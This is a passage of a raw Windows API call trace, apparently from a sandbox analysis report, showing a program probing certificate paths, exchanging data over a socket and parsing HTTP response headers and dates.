(Heap=0x2a0000, Flags=0x0, Ptr=0x2d35710, Size=0x20) returned 0x2d4a5b0 [0118.904] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35620 | out: hHeap=0x2a0000) returned 1 [0118.904] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35590 | out: hHeap=0x2a0000) returned 1 [0118.904] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361c8 | out: hHeap=0x2a0000) returned 1 [0118.904] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362c8 | out: hHeap=0x2a0000) returned 1 [0118.904] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35590, Size=0x20) returned 0x2d4a588 [0118.904] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35590, Size=0x20) returned 0x2d4a538 [0118.904] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35698, Size=0x20) returned 0x2d4a5b0 [0118.904] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d354e8, Size=0x20) returned 0x2d4a538 [0118.904] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d354e8, Size=0x20) returned 0x2d4a560 [0118.904] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35698, Size=0x20) returned 0x2d4a5b0 [0118.904] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35428, Size=0x10) returned 0x2d352d8 [0118.904] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f41c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.904] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/653b494a.0", lpFindFileData=0x18f55c | out: lpFindFileData=0x18f55c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11089ae1, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d4e680, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d4eab8, ftLastWriteTime.dwHighDateTime=0x18f601, nFileSizeHigh=0x18f87c, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x79, cFileName="tö\x18", cAlternateFileName="")) returned 0xffffffff [0118.905] GetLastError () returned 0x3 [0118.905] SetLastError (dwErrCode=0x3) [0118.905] GetLastError () returned 0x3 [0118.905] SetLastError (dwErrCode=0x3) [0118.905] GetLastError () returned 0x3 [0118.905] SetLastError (dwErrCode=0x3) [0118.905] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/653b494a.0", nBufferLength=0x104, lpBuffer=0x18f69c, lpFilePart=0x18f4f4 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\653b494a.0", lpFilePart=0x18f4f4*="653b494a.0") returned 0x21 [0118.905] GetLastError () returned 0x3 [0118.905] SetLastError (dwErrCode=0x3) [0118.905] GetLastError () returned 0x3 [0118.905] SetLastError (dwErrCode=0x3) [0118.905] GetLastError () returned 0x3 [0118.905] SetLastError (dwErrCode=0x3) [0118.906] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f414 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.906] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/bd1c2838.0", lpFindFileData=0x18f554 | out: lpFindFileData=0x18f554*(dwFileAttributes=0x134249, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d4e680, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d4eab8, ftLastWriteTime.dwHighDateTime=0x2a0000, nFileSizeHigh=0x2d4eab8, nFileSizeLow=0x18f601, dwReserved0=0x0, dwReserved1=0x79, cFileName="lö\x18", cAlternateFileName="")) returned 0xffffffff [0118.906] GetLastError () returned 0x3 [0118.906] SetLastError (dwErrCode=0x3) [0118.906] GetLastError () returned 0x3 [0118.906] SetLastError (dwErrCode=0x3) [0118.906] GetLastError () returned 0x3 [0118.906] SetLastError (dwErrCode=0x3) [0118.906] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/bd1c2838.0", nBufferLength=0x104, lpBuffer=0x18f694, lpFilePart=0x18f4ec | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\bd1c2838.0", lpFilePart=0x18f4ec*="bd1c2838.0") returned 0x21 [0118.906] GetLastError () returned 0x3 [0118.906] SetLastError (dwErrCode=0x3) [0118.906] GetLastError () returned 0x3 [0118.906] SetLastError (dwErrCode=0x3) [0118.906] GetLastError () returned 0x3 [0118.906] SetLastError (dwErrCode=0x3) [0118.907] WSASetLastError (iError=0) [0118.907] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0118.907] SetLastError (dwErrCode=0x0) [0118.907] WSASetLastError (iError=0) [0118.907] recv (in: s=0x12c, buf=0x2d51900, len=148, flags=0 | out: buf=0x2d51900*) returned 148 [0118.909] WSASetLastError (iError=0) [0118.909] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0118.909] SetLastError (dwErrCode=0x0) [0118.909] WSASetLastError (iError=0) [0118.909] recv (in: s=0x12c, buf=0x2d51900, len=4, flags=0 | out: buf=0x2d51900*) returned 4 [0118.909] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f620 | out: lpSystemTimeAsFileTime=0x18f620*(dwLowDateTime=0x97c79a00, dwHighDateTime=0x1d60051)) [0118.913] WSASetLastError (iError=0) [0118.913] send (s=0x12c, buf=0x2d44e88*, len=126, flags=0) returned 126 [0118.913] SetLastError (dwErrCode=0x0) [0118.914] WSASetLastError (iError=0) [0118.914] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] WSASetLastError (iError=0) [0118.930] recv (in: s=0x12c, buf=0x2d51900, len=186, flags=0 | out: buf=0x2d51900*) returned 186 [0118.930] WSASetLastError (iError=0) [0118.930] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] WSASetLastError (iError=0) [0118.930] recv (in: s=0x12c, buf=0x2d51900, len=1, flags=0 | out: buf=0x2d51900*) returned 1 [0118.930] WSASetLastError (iError=0) [0118.930] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] WSASetLastError (iError=0) [0118.930] recv (in: s=0x12c, buf=0x2d51900, len=40, flags=0 | out: buf=0x2d51900*) returned 40 [0118.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="Accept", cchCount2=6) returned 3 [0118.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="User-Agent", cchCount2=10) returned 1 [0118.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Accept", cchCount1=6, lpString2="User-Agent", cchCount2=10) returned 1 [0118.931] WSASetLastError (iError=0) [0118.931] send (s=0x12c, buf=0x2d409d3*, len=228, flags=0) returned 228 [0118.931] GetTickCount64 () returned 0x1150751 [0118.931] select (in: nfds=0, readfds=0x18f9f4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f9f4, writefds=0x0, exceptfds=0x0) returned 1 [0118.969] SetLastError (dwErrCode=0x0) [0118.969] SetLastError (dwErrCode=0x0) [0118.969] WSASetLastError (iError=0) [0118.970] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0118.970] SetLastError (dwErrCode=0x0) [0118.970] WSASetLastError (iError=0) [0118.970] recv (in: s=0x12c, buf=0x2d51900, len=621, flags=0 | out: buf=0x2d51900*) returned 621 [0118.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.0", cchCount1=3, lpString2="1.1", cchCount2=3) returned 1 [0118.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.1", cchCount1=3, lpString2="1.1", cchCount2=3) returned 2 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] GetTickCount64 () returned 0x1150780 [0118.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0118.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Cache-control", cchCount2=13) returned 3 [0118.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Cache-control", cchCount2=13) returned 3 [0118.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Cache-control", cchCount2=13) returned 3 [0118.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Cache-control", cchCount2=13) returned 3 [0118.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0118.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Cache-control", cchCount2=13) returned 1 [0118.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Cache-control", cchCount2=13) returned 2 [0118.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Connection", cchCount2=10) returned 3 [0118.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Connection", cchCount2=10) returned 3 [0118.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Connection", cchCount2=10) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Connection", cchCount2=10) returned 2 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Version", cchCount2=15) returned 1 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Version", cchCount2=15) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 1 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Version", cchCount2=15) returned 1 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Version", cchCount2=15) returned 1 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Version", cchCount2=15) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Version", cchCount2=15) returned 1 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Version", cchCount2=15) returned 1 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Version", cchCount2=15) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 1 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Disposition", cchCount2=19) returned 1 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Disposition", cchCount2=19) returned 1 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Disposition", cchCount2=19) returned 1 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Disposition", cchCount2=19) returned 1 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Disposition", cchCount2=19) returned 1 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 1 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 1 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Encoding", cchCount2=16) returned 1 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Encoding", cchCount2=16) returned 1 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Encoding", cchCount2=16) returned 1 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Encoding", cchCount2=16) returned 1 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 1 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Language", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Language", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 1 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Language", cchCount2=16) returned 1 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Language", cchCount2=16) returned 1 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Language", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Language", cchCount2=16) returned 1 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Language", cchCount2=16) returned 1 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Language", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 3 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 1 [0118.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Type", cchCount2=12) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Type", cchCount2=12) returned 2 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UTF-8", cchCount1=1, lpString2="\"", cchCount2=1) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="charset=UTF-8", cchCount1=7, lpString2="charset", cchCount2=7) returned 2 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Length", cchCount2=14) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Length", cchCount2=14) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 1 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Length", cchCount2=14) returned 1 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Length", cchCount2=14) returned 1 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Length", cchCount2=14) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Length", cchCount2=14) returned 1 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Length", cchCount2=14) returned 1 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Length", cchCount2=14) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 1 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Range", cchCount2=13) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Range", cchCount2=13) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 1 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0118.973] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Range", cchCount2=13) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Range", cchCount2=13) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Range", cchCount2=13) returned 3 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Range", cchCount2=13) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Range", cchCount2=13) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Range", cchCount2=13) returned 3 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 3 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Date", cchCount2=4) returned 2 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sun", cchCount1=3, lpString2="SUN", cchCount2=3) returned 2 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JAN", cchCount2=3) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FEB", cchCount2=3) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAR", cchCount2=3) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="APR", cchCount2=3) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAY", cchCount2=3) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUN", cchCount2=3) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUL", cchCount2=3) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AUG", cchCount2=3) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEP", cchCount2=3) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OCT", cchCount2=3) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NOV", cchCount2=3) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEC", cchCount2=3) returned 1 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUNE", cchCount2=4) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JULY", cchCount2=4) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRZ", cchCount2=3) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.975] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0118.975] CompareStringW (Locale=0x400, 